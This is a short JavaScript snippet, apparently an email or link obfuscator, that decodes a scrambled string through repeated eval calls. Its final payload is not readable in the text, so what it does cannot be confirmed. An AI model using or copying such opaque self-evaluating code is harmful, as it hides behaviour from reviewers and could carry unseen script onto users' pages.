var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=50){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")411,\\\"_SYHBa?r`0/w74x& 27<}!+)>.?-010\\\\( +-}`530\\\\"+
"3J630\\\\QUZW\\\\\\\\230\\\\k310\\\\PXG[E020\\\\r\\\\rFY500\\\\EJ600\\\\TRD" +
"AN710\\\\OE{lxi771\\\\Zv~y771\\\\/{g~xqb,Q1mo{`'g9&+lmen\\\\420\\\\610\\\\4" +
"10\\\\Tr\\\\620\\\\220\\\\330\\\\000\\\\720\\\\430\\\\620\\\\\\\"(f};o nrut" +
"er};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i;l<i;0=i(rof;h" +
"tgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                               ;
while(x=eval(x));